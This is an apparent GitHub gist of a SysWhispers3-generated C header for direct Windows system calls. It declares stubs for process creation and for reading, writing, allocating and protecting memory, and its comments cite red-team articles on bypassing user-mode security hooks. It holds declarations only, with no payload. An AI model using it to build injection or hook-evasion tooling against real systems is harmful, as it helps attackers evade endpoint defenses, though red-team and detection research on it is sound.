return SW3_SyscallList.Entries[index].SyscallAddress; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
Header file was generated with syswhispers3. | |
Reference: | |
https://github.com/klezVirus/SysWhispers3 | |
https://captmeelo.com/redteam/maldev/2022/05/10/ntcreateuserprocess.html | |
*/ | |
#pragma once | |
// Code below is adapted from @modexpblog. Read linked article for more details. | |
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams | |
#ifndef SW3_HEADER_H_ | |
#define SW3_HEADER_H_ | |
#include <windows.h> | |
#ifndef _NTDEF_ | |
typedef _Return_type_success_(return >= 0) LONG NTSTATUS; | |
typedef NTSTATUS* PNTSTATUS; | |
#endif | |
#define SW3_SEED 0x2430F019 | |
#define SW3_ROL8(v) (v << 8 | v >> 24) | |
#define SW3_ROR8(v) (v >> 8 | v << 24) | |
#define SW3_ROX8(v) ((SW3_SEED % 2) ? SW3_ROL8(v) : SW3_ROR8(v)) | |
#define SW3_MAX_ENTRIES 600 | |
#define SW3_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva) | |
// Typedefs are prefixed to avoid pollution. | |
typedef struct _SW3_SYSCALL_ENTRY | |
{ | |
DWORD Hash; | |
DWORD Address; | |
PVOID SyscallAddress; | |
} SW3_SYSCALL_ENTRY, *PSW3_SYSCALL_ENTRY; | |
typedef struct _SW3_SYSCALL_LIST | |
{ | |
DWORD Count; | |
SW3_SYSCALL_ENTRY Entries[SW3_MAX_ENTRIES]; | |
} SW3_SYSCALL_LIST, *PSW3_SYSCALL_LIST; | |
typedef struct _SW3_PEB_LDR_DATA { | |
BYTE Reserved1[8]; | |
PVOID Reserved2[3]; | |
LIST_ENTRY InMemoryOrderModuleList; | |
} SW3_PEB_LDR_DATA, *PSW3_PEB_LDR_DATA; | |
typedef struct _SW3_LDR_DATA_TABLE_ENTRY { | |
PVOID Reserved1[2]; | |
LIST_ENTRY InMemoryOrderLinks; | |
PVOID Reserved2[2]; | |
PVOID DllBase; | |
} SW3_LDR_DATA_TABLE_ENTRY, *PSW3_LDR_DATA_TABLE_ENTRY; | |
typedef struct _SW3_PEB { | |
BYTE Reserved1[2]; | |
BYTE BeingDebugged; | |
BYTE Reserved2[1]; | |
PVOID Reserved3[2]; | |
PSW3_PEB_LDR_DATA Ldr; | |
} SW3_PEB, *PSW3_PEB; | |
DWORD SW3_HashSyscall(PCSTR FunctionName); | |
BOOL SW3_PopulateSyscallList(); | |
EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash); | |
EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash); | |
EXTERN_C PVOID internal_cleancall_wow64_gate(VOID); | |
#ifndef InitializeObjectAttributes | |
#define InitializeObjectAttributes( p, n, a, r, s ) { \ | |
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ | |
(p)->RootDirectory = r; \ | |
(p)->Attributes = a; \ | |
(p)->ObjectName = n; \ | |
(p)->SecurityDescriptor = s; \ | |
(p)->SecurityQualityOfService = NULL; \ | |
} | |
#endif | |
typedef struct _UNICODE_STRING | |
{ | |
USHORT Length; | |
USHORT MaximumLength; | |
PWSTR Buffer; | |
} UNICODE_STRING, *PUNICODE_STRING; | |
typedef struct _PS_ATTRIBUTE | |
{ | |
ULONG Attribute; | |
SIZE_T Size; | |
union | |
{ | |
ULONG_PTR Value; | |
PVOID ValuePtr; | |
} u1; | |
PSIZE_T ReturnLength; | |
} PS_ATTRIBUTE, *PPS_ATTRIBUTE; | |
typedef enum _PS_CREATE_STATE | |
{ | |
PsCreateInitialState, | |
PsCreateFailOnFileOpen, | |
PsCreateFailOnSectionCreate, | |
PsCreateFailExeFormat, | |
PsCreateFailMachineMismatch, | |
PsCreateFailExeName, | |
PsCreateSuccess, | |
PsCreateMaximumStates | |
} PS_CREATE_STATE, *PPS_CREATE_STATE; | |
typedef struct _OBJECT_ATTRIBUTES | |
{ | |
ULONG Length; | |
HANDLE RootDirectory; | |
PUNICODE_STRING ObjectName; | |
ULONG Attributes; | |
PVOID SecurityDescriptor; | |
PVOID SecurityQualityOfService; | |
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; | |
typedef struct _PS_CREATE_INFO | |
{ | |
SIZE_T Size; | |
PS_CREATE_STATE State; | |
union | |
{ | |
// PsCreateInitialState | |
struct { | |
union { | |
ULONG InitFlags; | |
struct { | |
UCHAR WriteOutputOnExit : 1; | |
UCHAR DetectManifest : 1; | |
UCHAR IFEOSkipDebugger : 1; | |
UCHAR IFEODoNotPropagateKeyState : 1; | |
UCHAR SpareBits1 : 4; | |
UCHAR SpareBits2 : 8; | |
USHORT ProhibitedImageCharacteristics : 16; | |
}; | |
}; | |
ACCESS_MASK AdditionalFileAccess; | |
} InitState; | |
// PsCreateFailOnSectionCreate | |
struct { | |
HANDLE FileHandle; | |
} FailSection; | |
// PsCreateFailExeFormat | |
struct { | |
USHORT DllCharacteristics; | |
} ExeFormat; | |
// PsCreateFailExeName | |
struct { | |
HANDLE IFEOKey; | |
} ExeName; | |
// PsCreateSuccess | |
struct { | |
union { | |
ULONG OutputFlags; | |
struct { | |
UCHAR ProtectedProcess : 1; | |
UCHAR AddressSpaceOverride : 1; | |
UCHAR DevOverrideEnabled : 1; // from Image File Execution Options | |
UCHAR ManifestDetected : 1; | |
UCHAR ProtectedProcessLight : 1; | |
UCHAR SpareBits1 : 3; | |
UCHAR SpareBits2 : 8; | |
USHORT SpareBits3 : 16; | |
}; | |
}; | |
HANDLE FileHandle; | |
HANDLE SectionHandle; | |
ULONGLONG UserProcessParametersNative; | |
ULONG UserProcessParametersWow64; | |
ULONG CurrentParameterFlags; | |
ULONGLONG PebAddressNative; | |
ULONG PebAddressWow64; | |
ULONGLONG ManifestAddress; | |
ULONG ManifestSize; | |
} SuccessState; | |
}; | |
} PS_CREATE_INFO, *PPS_CREATE_INFO; | |
typedef struct _PS_ATTRIBUTE_LIST | |
{ | |
SIZE_T TotalLength; | |
PS_ATTRIBUTE Attributes[1]; | |
} PS_ATTRIBUTE_LIST, *PPS_ATTRIBUTE_LIST; | |
EXTERN_C NTSTATUS Sw3NtCreateUserProcess( | |
OUT PHANDLE ProcessHandle, | |
OUT PHANDLE ThreadHandle, | |
IN ACCESS_MASK ProcessDesiredAccess, | |
IN ACCESS_MASK ThreadDesiredAccess, | |
IN POBJECT_ATTRIBUTES ProcessObjectAttributes OPTIONAL, | |
IN POBJECT_ATTRIBUTES ThreadObjectAttributes OPTIONAL, | |
IN ULONG ProcessFlags, | |
IN ULONG ThreadFlags, | |
IN PVOID ProcessParameters OPTIONAL, | |
IN OUT PPS_CREATE_INFO CreateInfo, | |
IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL); | |
EXTERN_C NTSTATUS Sw3NtReadVirtualMemory( | |
IN HANDLE ProcessHandle, | |
IN PVOID BaseAddress OPTIONAL, | |
OUT PVOID Buffer, | |
IN SIZE_T BufferSize, | |
OUT PSIZE_T NumberOfBytesRead OPTIONAL); | |
EXTERN_C NTSTATUS Sw3NtWriteVirtualMemory( | |
IN HANDLE ProcessHandle, | |
IN PVOID BaseAddress, | |
IN PVOID Buffer, | |
IN SIZE_T NumberOfBytesToWrite, | |
OUT PSIZE_T NumberOfBytesWritten OPTIONAL); | |
EXTERN_C NTSTATUS Sw3NtAllocateVirtualMemory( | |
IN HANDLE ProcessHandle, | |
IN OUT PVOID * BaseAddress, | |
IN ULONG ZeroBits, | |
IN OUT PSIZE_T RegionSize, | |
IN ULONG AllocationType, | |
IN ULONG Protect); | |
EXTERN_C NTSTATUS Sw3NtProtectVirtualMemory( | |
IN HANDLE ProcessHandle, | |
IN OUT PVOID * BaseAddress, | |
IN OUT PSIZE_T RegionSize, | |
IN ULONG NewProtect, | |
OUT PULONG OldProtect); | |
EXTERN_C NTSTATUS Sw3NtTerminateProcess( | |
IN HANDLE ProcessHandle OPTIONAL, | |
IN NTSTATUS ExitStatus); | |
EXTERN_C NTSTATUS Sw3NtFreeVirtualMemory( | |
IN HANDLE ProcessHandle, | |
IN OUT PVOID * BaseAddress, | |
IN OUT PSIZE_T RegionSize, | |
IN ULONG FreeType); | |
#endif |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment